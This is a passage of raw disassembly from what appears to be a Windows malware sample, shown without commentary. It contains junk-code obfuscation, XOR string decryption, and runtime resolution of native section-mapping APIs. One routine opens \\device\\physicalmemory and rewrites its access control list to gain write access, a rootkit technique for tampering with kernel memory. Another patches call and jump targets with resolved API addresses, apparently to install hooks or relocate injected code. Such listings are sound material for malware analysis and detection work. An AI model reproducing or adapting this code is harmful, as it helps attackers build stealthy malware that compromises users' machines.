dword ptr [ebp-0Ch], 94h lea eax, dword_4108A0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C68 proc near ; CODE XREF: sub_4056CB+66Fp ; sub_409A96+F4Fp var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] call sub_40C944 ; GetCurrentThreadId mov edi, ebx jmp short loc_401CB9 ; --------------------------------------------------------------------------- loc_401C7E: ; CODE XREF: sub_401C68+55j cmp byte ptr [esi+edi], 0Dh jnz short loc_401CB8 mov [ebp+var_1], 0B3h add [ebp+var_1], 1 mov eax, edi sub eax, ebx push eax mov eax, esi add eax, ebx push eax push [ebp+arg_8] call sub_40CE18 add esp, 0Ch call sub_40CA58 ; IsDebuggerPresent mov eax, edi sub eax, ebx mov edx, [ebp+arg_8] mov byte ptr [edx+eax], 0 mov eax, edi add eax, 2 jmp short loc_401D20 ; --------------------------------------------------------------------------- loc_401CB8: ; CODE XREF: sub_401C68+1Aj inc edi loc_401CB9: ; CODE XREF: sub_401C68+14j cmp byte ptr [esi+edi], 0 jnz short loc_401C7E or ebx, ebx jz short loc_401CE2 cmp byte ptr [esi+edi], 0 jnz short loc_401CE2 mov eax, edi dec eax cmp byte ptr [esi+eax], 0Ah jnz short loc_401CE2 call sub_40C998 ; GetProcessHeap mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov eax, ebx inc eax jmp short loc_401D20 ; --------------------------------------------------------------------------- loc_401CE2: ; CODE XREF: sub_401C68+59j ; sub_401C68+5Fj ... mov eax, esi add eax, ebx push eax call sub_40CB60 ; lstrlen mov edi, eax or edi, edi jz short loc_401D1E mov [ebp+var_2], 0D8h sub [ebp+var_2], 11h mov eax, esi add eax, ebx push eax push [ebp+arg_8] call sub_40C8DC mov [ebp+var_1], 1 movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al mov eax, ebx add eax, edi jmp short loc_401D20 ; --------------------------------------------------------------------------- loc_401D1E: ; CODE XREF: sub_401C68+88j xor eax, eax loc_401D20: ; CODE XREF: sub_401C68+4Ej ; sub_401C68+78j ... pop edi pop esi pop ebx leave retn sub_401C68 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2DEh push esi push dword ptr [ebp+8] mov eax, dword_43C2D8 lea eax, ds:437270h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_401D6A ; --------------------------------------------------------------------------- loc_401D53: ; CODE XREF: .text:00401D6Cj mov eax, dword_43C2D8 add eax, edi lea eax, ds:437270h[eax] movsx edx, byte ptr [eax] xor edx, 50h mov [eax], dl inc edi loc_401D6A: ; CODE XREF: .text:00401D51j cmp edi, esi jl short loc_401D53 mov eax, dword_43C2D8 add eax, esi mov byte ptr ds:dword_437270[eax], 0 xor edi, edi mov edi, dword_43C2D8 add dword_43C2D8, 3 mov eax, dword_43C2D8 lea eax, [eax+esi+3] mov dword_43C2D8, eax cmp eax, 0E0Eh jle short loc_401DA8 and dword_43C2D8, 0 loc_401DA8: ; CODE XREF: .text:00401D9Fj mov dword ptr [ebp-8], 2Eh lea eax, dword_437270[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DB9 proc near ; CODE XREF: sub_402976+80p var_1A = word ptr -1Ah var_14 = dword ptr -14h var_10 = word ptr -10h var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi mov [ebp+var_4], 789Ah sub [ebp+var_4], 3236h inc dword_43C23C call sub_40C968 ; RtlGetLastWin32Error mov ebx, [ebp+arg_0] and ds:dword_40E064, 0 and ds:dword_41E998, 0 and ds:dword_41EAB0, 0 and ds:dword_40F260, 0 mov ds:dword_41B7B8, 4 mov ds:dword_414DE4, 4 loc_401E0E: ; CODE XREF: sub_401DB9+127j ; sub_401DB9+143j ... mov eax, ebx inc ebx mov al, [eax] mov ds:byte_414DE0, al movzx eax, ds:byte_414DE0 or eax, eax jl loc_402086 cmp eax, 0FFh jg loc_402086 jmp off_43C2E8[eax*4] ; --------------------------------------------------------------------------- mov word ptr [ebp-0Eh], 1BB0h movzx eax, word ptr [ebp-0Eh] mov edx, eax add edx, eax mov eax, edx mov [ebp-0Eh], ax loc_401E4D: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... or byte ptr ds:dword_41E998, 40h jmp loc_402086 ; --------------------------------------------------------------------------- inc dword_43C23C loc_401E5F: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... xor eax, eax cmp byte ptr [ebx], 20h setnz al dec eax and eax, 4 inc eax mov [ebp+var_14], eax add ds:dword_41EAB0, eax jmp loc_402086 ; --------------------------------------------------------------------------- loc_401E7A: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... or byte ptr ds:dword_41E998, 40h test byte ptr [ebx], 38h jnz loc_402086 loc_401E8A: ; CODE XREF: sub_401DB9+79j ; DATA XREF: .data:0043C2F8o ... test ds:byte_414DE0, 1 jz short loc_401EA3 mov eax, ds:dword_41B7B8 add ds:dword_41EAB0, eax jmp loc_402086 ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401DB9+D8j inc ds:dword_41EAB0 jmp loc_402086 ; --------------------------------------------------------------------------- loc_401EAE: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... inc ds:dword_41EAB0 jmp loc_402086 ; --------------------------------------------------------------------------- inc dword_43C23C loc_401EBF: ; CODE XREF: sub_401DB9+79j ; DATA XREF: .data:0043C380o ... test byte ptr ds:dword_41E998, 10h jz short loc_401ECF xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_401ECF: ; CODE XREF: sub_401DB9+10Dj or byte ptr ds:dword_41E998, 10h mov al, ds:byte_414DE0 mov ds:byte_40F26C, al jmp loc_401E0E ; --------------------------------------------------------------------------- loc_401EE5: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... test byte ptr ds:dword_41E998, 4 jz short loc_401EF5 xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_401EF5: ; CODE XREF: sub_401DB9+133j or byte ptr ds:dword_41E998, 4 jmp loc_401E0E ; --------------------------------------------------------------------------- loc_401F01: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... test byte ptr ds:dword_41E998, 8 jz short loc_401F11 xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_401F11: ; CODE XREF: sub_401DB9+14Fj call sub_40C998 ; GetProcessHeap or byte ptr ds:dword_41E998, 8 mov al, ds:byte_414DE0 mov ds:byte_41FD40, al jmp loc_401E0E ; --------------------------------------------------------------------------- loc_401F2C: ; CODE XREF: sub_401DB9+79j ; DATA XREF: .data:0043C480o test byte ptr ds:dword_41E998, 1 jz short loc_401F3C xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_401F3C: ; CODE XREF: sub_401DB9+17Aj or byte ptr ds:dword_41E998, 1 mov ds:dword_41B7B8, 2 jmp loc_401E0E ; --------------------------------------------------------------------------- loc_401F52: ; CODE XREF: sub_401DB9+79j ; DATA XREF: .data:0043C484o test byte ptr ds:dword_41E998, 2 jz short loc_401F62 xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_401F62: ; CODE XREF: sub_401DB9+1A0j call sub_40C9D4 ; GetVersion or byte ptr ds:dword_41E998, 2 mov ds:dword_414DE4, 2 jmp loc_401E0E ; --------------------------------------------------------------------------- inc dword_43C23C loc_401F83: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... inc ds:dword_41EAB0 or byte ptr ds:dword_41E998, 40h jmp loc_402086 ; --------------------------------------------------------------------------- loc_401F95: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... mov eax, ds:dword_41B7B8 add ds:dword_41EAB0, eax or byte ptr ds:dword_41E998, 40h jmp loc_402086 ; --------------------------------------------------------------------------- loc_401FAC: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... mov eax, ds:dword_41B7B8 add eax, 2 add ds:dword_41EAB0, eax jmp loc_402086 ; --------------------------------------------------------------------------- loc_401FBF: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... mov eax, ds:dword_414DE4 add ds:dword_40F260, eax jmp loc_402086 ; --------------------------------------------------------------------------- loc_401FCF: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... mov eax, ds:dword_41B7B8 add ds:dword_41EAB0, eax jmp loc_402086 ; --------------------------------------------------------------------------- inc dword_43C23C loc_401FE5: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... add ds:dword_41EAB0, 2 jmp loc_402086 ; --------------------------------------------------------------------------- loc_401FF1: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... add ds:dword_41EAB0, 3 jmp loc_402086 ; --------------------------------------------------------------------------- loc_401FFD: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+281j ; DATA XREF: ... xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_402004: ; CODE XREF: sub_401DB9+79j ; DATA XREF: .data:0043C324o or byte ptr ds:dword_41E998, 20h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_42FD50, al movzx eax, ds:byte_42FD50 or eax, eax jl short loc_40207F cmp eax, 0Bh jg short loc_40202C jmp off_43C6E8[eax*4] ; --------------------------------------------------------------------------- loc_40202C: ; CODE XREF: sub_401DB9+26Aj cmp eax, 80h jl short loc_40207F cmp eax, 0CFh jg short loc_40207F jmp off_43C518[eax*4] ; --------------------------------------------------------------------------- call sub_40C938 ; GetCurrentProcessId loc_402046: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+26Cj ... or byte ptr ds:dword_41E998, 40h mov [ebp+var_1A], 7C0Bh sub [ebp+var_1A], 0D83h jmp short loc_402086 ; --------------------------------------------------------------------------- inc dword_43C23C jmp short loc_402086 ; --------------------------------------------------------------------------- loc_402063: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+26Cj ... mov eax, ds:dword_41B7B8 add ds:dword_41EAB0, eax jmp short loc_402086 ; --------------------------------------------------------------------------- loc_402070: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+26Cj ... inc ds:dword_41EAB0 or byte ptr ds:dword_41E998, 40h jmp short loc_402086 ; --------------------------------------------------------------------------- loc_40207F: ; CODE XREF: sub_401DB9+79j ; sub_401DB9+265j ... xor eax, eax jmp loc_402223 ; --------------------------------------------------------------------------- loc_402086: ; CODE XREF: sub_401DB9+68j ; sub_401DB9+73j ... inc dword_43C23C test byte ptr ds:dword_41E998, 40h jz loc_4021A3 mov [ebp+var_D], 0C9h add [ebp+var_D], 31h mov eax, ebx inc ebx mov al, [eax] mov ds:byte_430D94, al mov [ebp+var_10], 1631h inc [ebp+var_10] movzx eax, ds:byte_430D94 and eax, 0C0h mov byte ptr [ebp+var_14+3], al movzx eax, ds:byte_430D94 and eax, 7 mov byte ptr [ebp+var_14+2], al movzx eax, byte ptr [ebp+var_14+3] cmp eax, 0C0h jz loc_4021A3 mov eax, dword_43C2DC mov [ebp-16h], eax cmp byte ptr [ebp+var_14+3], 40h jnz short loc_4020F4 inc ds:dword_40F260 loc_4020F4: ; CODE XREF: sub_401DB9+333j call sub_40C938 ; GetCurrentProcessId movzx eax, byte ptr [ebp+var_14+3] cmp eax, 80h jnz short loc_40210F mov eax, ds:dword_414DE4 add ds:dword_40F260, eax loc_40210F: ; CODE XREF: sub_401DB9+349j call sub_40C938 ; GetCurrentProcessId cmp ds:dword_414DE4, 2 jnz short loc_402147 sub_401DB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40211D proc near ; DATA XREF: sub_440441+BCo mov dword ptr [ebp-1Ch], 38EAh mov eax, 62BBh mul dword ptr [ebp-1Ch] mov [ebp-20h], eax mov [ebp-1Ch], eax cmp byte ptr [ebp-11h], 0 jnz short loc_4021A3 cmp byte ptr [ebp-12h], 6 jnz short loc_4021A3 add ds:dword_40F260, 2 jmp short loc_4021A3 ; --------------------------------------------------------------------------- loc_402147: ; CODE XREF: sub_401DB9+362j call sub_40C9D4 ; GetVersion cmp byte ptr [ebp-12h], 4 jnz short loc_40218B lea edi, [ebp-1Ch] lea esi, aE7y ; "e=7y^" mov ecx, 3 rep movsw or byte ptr ds:dword_41E998, 80h mov ax, word_43C2E6 mov [ebp-1Eh], ax mov eax, ebx inc ebx mov al, [eax] mov ds:byte_41B7B4, al movzx eax, ds:byte_41B7B4 and eax, 7 mov [ebp-12h], al loc_40218B: ; CODE XREF: sub_40211D+33j cmp byte ptr [ebp-12h], 5 jnz short loc_40219E cmp byte ptr [ebp-11h], 0 jnz short loc_40219E add ds:dword_40F260, 4 loc_40219E: ; CODE XREF: sub_40211D+72j ; sub_40211D+78j call sub_40CA58 ; IsDebuggerPresent loc_4021A3: ; CODE XREF: sub_401DB9+2DAj ; sub_401DB9+321j ... and ds:dword_40F264, 0 jmp short loc_4021C4 ; --------------------------------------------------------------------------- loc_4021AC: ; CODE XREF: sub_40211D+B2j mov eax, ebx inc ebx mov edx, ds:dword_40F264 mov al, [eax] mov ds:byte_414DD8[edx], al inc ds:dword_40F264 loc_4021C4: ; CODE XREF: sub_40211D+8Dj mov eax, ds:dword_40F260 cmp ds:dword_40F264, eax jb short loc_4021AC call sub_40C9C8 ; GetTickCount and ds:dword_40F264, 0 jmp short loc_4021F7 ; --------------------------------------------------------------------------- loc_4021DF: ; CODE XREF: sub_40211D+E5j mov eax, ebx inc ebx mov edx, ds:dword_40F264 mov al, [eax] mov ds:byte_43A4A0[edx], al inc ds:dword_40F264 loc_4021F7: ; CODE XREF: sub_40211D+C0j mov eax, ds:dword_41EAB0 cmp ds:dword_40F264, eax jb short loc_4021DF mov word ptr [ebp-6], 5DBEh sub word ptr [ebp-6], 0DB7h inc dword_43C23C mov eax, ebx sub eax, [ebp+8] mov ds:dword_40E064, eax xor eax, eax inc eax loc_402223: ; CODE XREF: sub_401DB9+111j ; sub_401DB9+137j ... pop edi pop esi pop ebx leave retn sub_40211D endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 37Eh push esi push dword ptr [ebp+8] mov eax, dword_43CF50 lea eax, ds:418600h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_40226E ; --------------------------------------------------------------------------- loc_402257: ; CODE XREF: .text:00402270j mov eax, dword_43CF50 add eax, edi lea eax, ds:418600h[eax] movsx edx, byte ptr [eax] xor edx, 6Dh mov [eax], dl inc edi loc_40226E: ; CODE XREF: .text:00402255j cmp edi, esi jl short loc_402257 mov dword ptr [ebp-8], 0EFh mov eax, dword_43CF50 add eax, esi mov byte ptr ds:dword_418600[eax], 0 mov edi, dword_43CF50 add dword_43CF50, 2 mov eax, dword_43CF50 add eax, 2 add eax, esi mov dword_43CF50, eax cmp eax, 0DF1h jle short loc_4022B2 and dword_43CF50, 0 loc_4022B2: ; CODE XREF: .text:004022A9j mov dword ptr [ebp-0Ch], 2B9h lea eax, dword_418600[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C3 proc near ; CODE XREF: sub_402B9B+23p var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi lea edi, [ebp+var_5] lea esi, byte_43D002 xor ecx, ecx inc ecx rep movsb push offset aNtdll_dll ; "ntdll.dll" call sub_40C980 ; GetModuleHandleA mov ebx, eax call sub_40C944 ; GetCurrentThreadId push offset aRtlinitunicode ; "RtlInitUnicodeString" push ebx call sub_40C98C ; GetProcAddress mov ds:dword_430D8C, eax mov [ebp+var_4], 7CB7h inc [ebp+var_4] push offset aNtunmapviewofs ; "NtUnmapViewOfSection" push ebx call sub_40C98C ; GetProcAddress mov ds:dword_41D82C, eax call sub_40C938 ; GetCurrentProcessId push offset aNtopensection ; "NtOpenSection" push ebx call sub_40C98C ; GetProcAddress mov ds:dword_41B7C0, eax push offset aNtmapviewofsec ; "NtMapViewOfSection" push ebx call sub_40C98C ; GetProcAddress mov ds:dword_41E9A8, eax push offset aRtlntstatustod ; "RtlNtStatusToDosError" push ebx call sub_40C98C ; GetProcAddress mov ds:dword_430D88, eax call sub_40C944 ; GetCurrentThreadId pop edi pop esi pop ebx leave retn sub_4022C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402353 proc near ; CODE XREF: sub_402B9B+17Dp var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_74 = byte ptr -74h var_6F = byte ptr -6Fh var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_57 = byte ptr -57h var_56 = word ptr -56h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = byte ptr -44h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov [ebp+var_52], 1550h movzx eax, [ebp+var_52] imul eax, 5CD4h mov [ebp+var_52], ax call sub_40C9D4 ; GetVersion push offset aDevicePhysical ; "\\device\\physicalmemory" lea eax, [ebp+var_64] push eax call ds:dword_430D8C mov [ebp+var_54], 2F0Dh add [ebp+var_54], 32DAh mov [ebp+var_18], 18h call sub_40CA58 ; IsDebuggerPresent and [ebp+var_14], 0 mov [ebp+var_56], 1A6Eh ; DATA XREF: sub_440441+2Fo movzx eax, [ebp+var_56] imul eax, 0F12h mov [ebp+var_56], ax lea eax, [ebp+var_64] mov [ebp+var_10], eax lea edi, [ebp+var_6F] lea esi, a_v ; "_V" mov ecx, 3 rep movsb mov [ebp+var_C], 40h and [ebp+var_8], 0 call sub_40C968 ; RtlGetLastWin32Error and [ebp+var_4], 0 mov [ebp+var_57], 0E9h movzx eax, [ebp+var_57] imul eax, 3F21h mov [ebp+var_57], al and [ebp+var_30], 0 mov ebx, 2054h mov eax, 545Bh mul ebx mov [ebp+var_80], eax mov ebx, eax and [ebp+var_2C], 0 call sub_40C9D4 ; GetVersion mov [ebp+var_28], 1 mov [ebp+var_24], 1 mov ebx, 45h add ebx, 1915h lea eax, aCurrent_user ; "CURRENT_USER" mov [ebp+var_20], eax call sub_40C998 ; GetProcessHeap mov [ebp+var_50], 2 mov [ebp+var_5A], 2AD4h inc [ebp+var_5A] mov [ebp+var_4C], 1 call sub_40C998 ; GetProcessHeap and [ebp+var_48], 0 mov ebx, 7C60h mov eax, 10A2h mul ebx mov [ebp+var_84], eax mov ebx, eax lea edi, [ebp+var_44] lea esi, [ebp+var_30] mov ecx, 5 rep movsd lea eax, [ebp+var_18] push eax push 60000h lea eax, [ebp+var_1C] push eax call ds:dword_41B7C0 call sub_40C9D4 ; GetVersion lea eax, [ebp+var_74] push eax push 0 lea eax, [ebp+var_68] push eax push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40CD7C ; GetSecurityInfo call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_6C] push eax push [ebp+var_68] lea eax, [ebp+var_50] push eax mov eax, 2 sub eax, dword_43CF48 push eax call sub_40CD94 ; SetEntriesInAclA call sub_40C998 ; GetProcessHeap push 0 push [ebp+var_6C] push 0 push 0 push 4 push 6 push [ebp+var_1C] call sub_40CD88 ; SetSecurityInfo mov [ebp+var_5C], 20AEh add [ebp+var_5C], 5BE4h push [ebp+var_1C] call sub_40C9B0 ; CloseHandle call sub_40C998 ; GetProcessHeap lea eax, [ebp+var_18] push eax push [ebp+var_50] lea eax, [ebp+var_1C] push eax call ds:dword_41B7C0 lea edi, [ebp+var_7C] lea esi, a3@f1qZ ; "3@f1Q|Z" mov ecx, 2 rep movsd mov eax, [ebp+var_1C] pop edi pop esi pop ebx leave retn sub_402353 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402528 proc near ; CODE XREF: sub_402B9B+244p var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push esi push edi call sub_40C9D4 ; GetVersion mov eax, [ebp+arg_4] mov [ebp+var_14], eax mov eax, [ebp+arg_8] mov [ebp+var_8], eax and [ebp+var_C], 0 lea edi, [ebp+var_21] lea esi, aP0r ; "p0R#" mov ecx, 5 rep movsb mov eax, [ebp+var_14] xor edx, edx mov [ebp+var_18], edx mov [ebp+var_1C], eax mov [ebp+var_1], 7Ah movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push 4 push 0 push 1 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax push [ebp+var_8] push 0 lea eax, [ebp+var_C] push eax push 0FFFFFFFFh push [ebp+arg_0] call ds:dword_41E9A8 mov [ebp+var_D], 77h add [ebp+var_D], 1 mov eax, [ebp+var_C] pop edi pop esi leave retn sub_402528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025A2 proc near ; CODE XREF: sub_402B9B+30Fp arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_40C938 ; GetCurrentProcessId push [ebp+arg_0] push 0FFFFFFFFh call ds:dword_41D82C call sub_40C968 ; RtlGetLastWin32Error pop ebp retn sub_4025A2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43D01C lea eax, ds:412CE0h[eax] push eax call sub_40CE18 add esp, 0Ch mov dword ptr [ebp-4], 37Bh xor edi, edi jmp short loc_402601 ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: .text:00402603j mov eax, dword_43D01C add eax, edi lea eax, ds:412CE0h[eax] movsx edx, byte ptr [eax] xor edx, 26h mov [eax], dl inc edi loc_402601: ; CODE XREF: .text:004025E8j cmp edi, esi jl short loc_4025EA mov eax, dword_43D01C add eax, esi mov byte ptr ds:dword_412CE0[eax], 0 mov edi, dword_43D01C mov eax, edi add eax, 3 add eax, esi mov dword_43D01C, eax add dword_43D01C, 2 cmp dword_43D01C, 0DB3h jle short loc_402640 and dword_43D01C, 0 loc_402640: ; CODE XREF: .text:00402637j mov dword ptr [ebp-8], 0A9h lea eax, dword_412CE0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402651 proc near ; CODE XREF: sub_402976+20Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = byte ptr -0Eh var_6 = byte ptr -6 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_40C9C8 ; GetTickCount mov [ebp+var_1], 49h sub [ebp+var_1], 0C7h xor ebx, ebx loc_402669: ; CODE XREF: sub_402651+31Aj mov [ebp+var_3], 28h movzx eax, [ebp+var_3] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_3], al mov eax, [ebp+arg_0] movzx edx, byte ptr [eax+ebx] cmp edx, 0FFh jnz short loc_4026C0 movzx edx, byte ptr [ebx+eax+1] cmp edx, 0FFh jnz short loc_4026C0 movzx edx, byte ptr [ebx+eax+2] cmp edx, 0FFh jnz short loc_4026C0 movzx edx, byte ptr [ebx+eax+3] cmp edx, 0FFh jnz short loc_4026C0 movzx eax, byte ptr [ebx+eax+4] cmp eax, 0FFh jz loc_402971 loc_4026C0: ; CODE XREF: sub_402651+36j ; sub_402651+43j ... call sub_40C9C8 ; GetTickCount mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] mov edx, [ebp+arg_0] mov dl, [edx+ebx] mov [eax+ebx], dl lea edi, [ebp+var_6] lea esi, byte_43D130 mov ecx, 3 rep movsb mov [ebp+var_2], 0 loc_4026EC: ; CODE XREF: sub_402651+1A8j mov eax, [ebp+arg_0] movzx edx, [ebp+var_2] imul edx, 0Ch movzx edx, byte_43D0C4[edx] movzx ecx, byte ptr [eax+ebx] cmp ecx, edx jnz loc_4027D9 mov ecx, ebx dec ecx movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4027D9 mov ecx, ebx sub ecx, 2 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4027D9 mov ecx, ebx sub ecx, 3 movzx ecx, byte ptr [eax+ecx] cmp ecx, edx jnz loc_4027D9 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jnz loc_4027D9 mov [ebp+var_14], 7171h mov eax, 21BFh mul [ebp+var_14] mov [ebp+var_20], eax mov [ebp+var_14], eax movzx eax, [ebp+var_2] imul eax, 0Ch push off_43D0CC[eax] call sub_40C980 ; GetModuleHandleA movzx edi, [ebp+var_2] imul edi, 0Ch push off_43D0C8[edi] push eax call sub_40C98C ; GetProcAddress mov [ebp+var_18], eax or eax, 0FFFFFFFFh mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] lea edx, [edx+ecx+5] add edx, ebx sub edx, 4 sub eax, edx add eax, [ebp+var_18] sub eax, 4 mov [ebp+var_1C], eax mov [ebp+var_10], 44FEh movzx eax, [ebp+var_10] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_10], ax mov eax, [ebp+arg_4] mov edx, ecx lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_1C] mov ds:1[eax], edx jmp short loc_4027FE ; --------------------------------------------------------------------------- loc_4027D9: ; CODE XREF: sub_402651+B3j ; sub_402651+C2j ... movzx eax, [ebp+var_2] imul eax, 0Ch cmp off_43D0C8[eax], 0 jz short loc_4027FE lea edi, [ebp+var_E] lea esi, aJt16gz ; "jT1 6GZ" movsd movsd add [ebp+var_2], 1 jmp loc_4026EC ; --------------------------------------------------------------------------- loc_4027FE: ; CODE XREF: sub_402651+186j ; sub_402651+197j mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 4 jnz short loc_40286C mov edx, ebx dec edx cmp byte ptr [eax+edx], 4 jnz short loc_40286C mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 4 jnz short loc_40286C mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 4 jnz short loc_40286C mov edx, ebx sub edx, 4 movzx edx, byte ptr [eax+edx] cmp dl, 68h jz short loc_402847 cmp edx, 0BEh jz short loc_402847 mov edx, ebx sub edx, 5 cmp byte ptr [eax+edx], 24h jnz short loc_40286C loc_402847: ; CODE XREF: sub_402651+1E1j ; sub_402651+1E9j mov [ebp+var_14], 1FF1h add [ebp+var_14], 6329h mov eax, [ebp+arg_4] add eax, [ebp+arg_8] lea edx, [eax+ebx+5] sub edx, 4 add eax, 7 mov ds:1[edx], eax loc_40286C: ; CODE XREF: sub_402651+1B4j ; sub_402651+1BDj ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 2 jnz loc_4028FC mov edx, ebx dec edx cmp byte ptr [eax+edx], 2 jnz short loc_4028FC mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 2 jnz short loc_4028FC mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 2 jnz short loc_4028FC mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp eax, 0E8h jz short loc_4028AF cmp eax, 0E9h jnz short loc_4028FC loc_4028AF: ; CODE XREF: sub_402651+255j mov [ebp+var_10], 23Dh add [ebp+var_10], 6F30h mov eax, [ebp+arg_4] or edx, 0FFFFFFFFh mov ecx, [ebp+arg_8] lea ecx, [eax+ecx+5] add ecx, ebx sub ecx, 4 sub edx, ecx add edx, eax mov eax, edx sub eax, 4 mov [ebp+var_14], eax call sub_40C998 ; GetProcessHeap mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] lea eax, [eax+edx+5] add eax, ebx sub eax, 4 mov edx, [ebp+var_14] mov ds:1[eax], edx call sub_40CA58 ; IsDebuggerPresent loc_4028FC: ; CODE XREF: sub_402651+222j ; sub_402651+22Fj ... mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 1 jnz short loc_402964 mov edx, ebx dec edx cmp byte ptr [eax+edx], 1 jnz short loc_402964 mov edx, ebx sub edx, 2 cmp byte ptr [eax+edx], 1 jnz short loc_402964 mov edx, ebx sub edx, 3 cmp byte ptr [eax+edx], 1 jnz short loc_402964 mov edx, ebx sub edx, 4 movzx eax, byte ptr [eax+edx] cmp al, 3Dh jz short loc_40293F cmp eax, 0FEh jz short loc_40293F cmp eax, 0FFh jnz short loc_402964 